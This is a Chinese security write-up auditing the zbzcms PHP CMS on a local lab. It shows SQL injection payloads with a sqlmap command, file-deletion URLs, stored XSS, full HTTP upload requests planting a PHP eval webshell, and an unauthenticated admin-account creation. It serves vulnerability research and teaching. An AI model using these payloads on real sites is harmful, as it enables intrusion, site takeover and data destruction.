前言也是源自于闲来无事 在之前逛cnvd的时候 发现的cms 然后下下来了一直没审现在也是审了一下cms也比较老了 有段时间没更新了也没用很难 供新手学习(篇幅有点长)下载地址…
0x0前言
也是源自于闲来无事 在之前逛cnvd的时候 发现的cms 然后下下来了一直没审
现在也是审了一下
cms也比较老了 有段时间没更新了
也没用很难 供新手学习(篇幅有点长)
下载地址:http://zbzcms.com/
工具:seay phpstorm phpstudy
还是老方法 先用审计工具跑一波
0x1开始
还是现看看首页长什么样子
是一个智能家居网站
然后逐步分析 工具跑步来的漏洞
0x2第一处 任意文件删除
我们点进去查看详细
发现没有做任何的校验判断
$run从上面发现 也是通过GET传的
通过审计工具也可以直接看到路径
/zbzcms.com/cms/cms/include/up.php?run=del
那我们来构造一下
先在up.php同目录下创建一个txt
构造一下
执行后页面返回1
然后查看文件夹
成功删除
我们在上一级目录在创建一个2.txt
然后构造执行
也成功删除
0x3第二处 前台sql注入
第一处注入点
点进去详细查看
这里没有做过滤 我们到phpstorm里面看sql文件
在这个文件中可以看到 是有一个处理函数的 但是只针对 insert 和update
select查询函数并没有处理和其他的过滤 可直接导致注入 进行 延时注入
直接丢sqlmap跑了 payload:
python sqlmap.py -u "http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=dj&id=1" -p id
0x4第二处注入点
差不多和上面的一样功能点 从代码上看
也是get传参 调用select函数 没有任何过滤
路径127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1
直接构造payload了:127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 and sleep(2)
也是可以延时盲注的
0x5第三处注入
根跟进查看
这直接妥妥的注入了 啥防护都没有
直接构造payload:http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1%20and%20sleep(5
就不丢sqlmap演示了
0x6第四处注入
我们跟进代码
这里的问题出现在tid这个参数
通过前面我们可以看到 如果if判断失败的话 进入else if 通过获取get传参 然后传入sql语句 这里也是没有任何防范
但是这里需要简单闭合一下阔号
我们构造payload:
http://127.0.0.1/zbzcms.com/cms/cms/include/zidong.php?id=1&tid=3)+and+sleep(1)%23&laiyuan=0&sou=1&wid=1
这里tid参数的值还是有点点讲究 必须和数据库里面存的tid值其中之一是一样的
0x7第三处 前台存储xss
这个是在发现注入的时候看见的
这处留言的地方
问题出现在neirong这个参数没有经过任何过滤就输出到了页面 并且还存入了数据库 所以导致后台查看的时候直接执行了
这出xss需要用POST的请求方法 因为从代码上可以看到 if的判断条件是$_POST 不为空
然后我们来到页面构造xss
执行之后 我们登入后台来查看留言
查看详情也是直接就弹
F12查看代码 语句也加载进来了
0x8第四处 文件上传
文件上传1
从路径可以发现是后台的 (但没影响 后面发现有api路径 就是任意上传)
啥过滤 判断都没有 直接传
因为刚开始麻烦找payload数据那些 就在后台去找了一下上传点抓包
上传的时候抓包
然后复制返回的路径 拼接到url上打开
也是成功执行
整体payload:url路径:/zbzcms.com/cms/cms/admin/ajax.php?run=youad_pic
参数:
------WebKitFormBoundary1yVpo1vIVcMvlXNA
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
herman
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundary1yVpo1vIVcMvlXNA--
文件上传2
来到phpstorm 可以发现没有任何的过滤
直接获取到路径这些就上传
那我们直接构造payload:
POST /zbzcms.com/cms/cms/include/up.php?run=file&path=../../upload/up/&filename=0 HTTP/1.1
Host: 192.168.1.7
Content-Length: 238
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Origin: http://192.168.1.7
Referer: http://192.168.1.7/zbzcms.com/cms/cms/admin/type.php?id=1&dq=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close
------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
herman
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--
我们的访问地址:http://192.168.1.7/zbzcms.com/cms/upload/up/16422582210.php 因为有两个../嘛 所以路径变了
文件上传3
在这个upload.php文件下
这里也是没有做任何的过滤
name为1的时候 也跳过了下面的后缀判断
直接构造payload:
也是成功写入
文件上传4
在另一个路径下http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/php/zbz.php
我们来看代码
进行了一些花里胡哨的操作 主要的问题 还是没有任何过滤和限制
通过path和path_res控制路径
data_pic_name 控制文件名0改名1不改
然后就是上传了
那就直接构造payload:
POST /zbzcms.com/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=../../../upload/up/&path_res=../../upload/up/&data_pic_name=1 HTTP/1.1
Host: 192.168.1.7
Content-Length: 238
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQy3ayf3rnYVYcEcG
Origin: http://192.168.1.7
Referer: http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/edit.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close
------WebKitFormBoundaryQy3ayf3rnYVYcEcG
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
herman
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryQy3ayf3rnYVYcEcG--
成功上传
0x9第五处 任意文件写入
本来这个是在看上传的 结果看到 一个文件保存的地方 存在一个经典的文件写入函数file_put_contents
然后就分析了一波 发现是存在任意文件写入的
这里首先是判断的run参数 然后获取post传参的值 然后判断魔术引号那个设置是否开启 相当于放注入一些转义的功能
如果开启 在用stripslashes() 函数把反斜杠删去
然后下面就直接写入了
当时这个文件是在admin目录下 相当于后台的 但是通过上面的权限控制发现 可以直接绕过 这登录判断相当于就没有
我们来看上面判断登录的代码
通过run参数的值来判断 这不搞笑嘛 run不等于这个值不久 直接不判断了 直接执行下面的
好了 现在来构造payload:
执行之后
也是成功的写入 以及访问到
如果get_magic_quotes_gpc()函数开启的话 写马就需要用没有引号的马子
0x10第六处 未授权任意管理员添加
还是这个文件
有一个add 操作 没有指定表
可直接任意指定表 我们往admin表添加一个用户
构造payload
执行之后
也是成功的添加进来
未授权删除 修改
逻辑都一样
0x11第七处 任意文件删除
这里延续上面的文件上传3的 upload文件
这里存在if else判断 没进入上传的条件的话 就执行下面的删除操作
也是没有任何过滤 直接通过传参del跟上路径 直接任意删除 我们先在目录下创建一个1.txt
在上一级目录下创建 然后我们构造payload 删除
http://192.168.1.7/zbzcms.com/cms/cms/include/upload.php?del=../1.txt
也是成功删除
0x12第八处 未授权添加管理员
问题出现在这个文件 这个文件夹前面我们也分析过 这里漏了一个管理员添加
也是直接构造run参数 未授权添加
然后查看数据库
但是发现这个时候 是没有等级的 相当于权限 也就等不进去
但是这个文件前面有一个判断是判断是否登录的
我们先通过login 来得到session
直接构造
注意 这里是pwd
然后将这个路径http://192.168.1.7/zbzcms.com/cms/cms/admin/复制到 url
回车即可
还有一种方式
在添加管理员的时候 把等级参数 填上
然后查看数据库
刚添加的abc 权限为1
直接登录
0x13最后
如果有什么说的不好的地方请师傅们指出~
- 本文作者: 永安寺
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1215
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!